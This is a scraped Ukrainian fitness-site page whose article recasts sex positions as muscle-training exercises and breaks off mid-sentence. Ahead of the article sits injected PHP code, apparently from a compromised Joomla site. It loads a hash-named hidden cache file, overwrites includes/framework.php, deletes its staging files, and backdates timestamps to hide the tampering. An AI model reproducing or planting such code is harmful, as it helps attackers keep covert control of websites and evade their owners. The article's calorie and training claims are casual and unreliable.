$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } Спортзал в ліжку... качайте м'язи під час секса | Спортивне харчування - успіх у бодібілдингу та пауерліфтингу

Спортзал в ліжку... качайте м'язи під час секса

Про користь сексу сказано вже чимало. І витривалість, і настрій і багато чого корисного ми отримуємо при заняттях сексом. Те, що секс допомагає схуднути, теж не новина, а те, що можна ще й накачати м'язи під час занять любов'ю, просто подарунок нам, сильній половині людства. Розглянемо "комплекс вправ", що допомагають стати нам ще мужнішими, здоровішими і сильнішими.


Позиція стоячи ззаду.

Мета: прибрати зайву вагу
У цій позі протягом 30 хвилин ти втрачаєш 120 калорій, тому що вона сама енергозатратна.

Позиція: лежачи на боці
.
Мета: М'язи тазу.
Тренування цих м'язів допоможе відстрочити еякуляцію. Тренуємо лобково-куприковий м'яз. Лягайте обидва набік, під час статевого акту розслаблюй і скорочуй м'яз, начебто при сечовипусканні.

Позиція дівчина зверху.
Мета: прес і спина.
Дівчина сідає зверху. Вироблено частоту і амплітуду коливань, вони мають нагадувати скручування, які ти практикуєш в спортзалі. Досить 40 повторів.

Позиція місіонерська.
Мета: м'язи грудей
Обіпрись на руки, випрями тулуб і починай здійснювати фрикції, максимально радіюють плечовий пояс.

Позиція коліно-ліктьова.
Мета: сідниці
Рух вперед намагайся робити за рахунок  сідниць, а тому за рахунок преса. Якщо встати з колін навпочіпки, то будуть тренув
 
Харчування-здоровий спосіб життя Спортзал в ліжку... качайте м'язи під час секса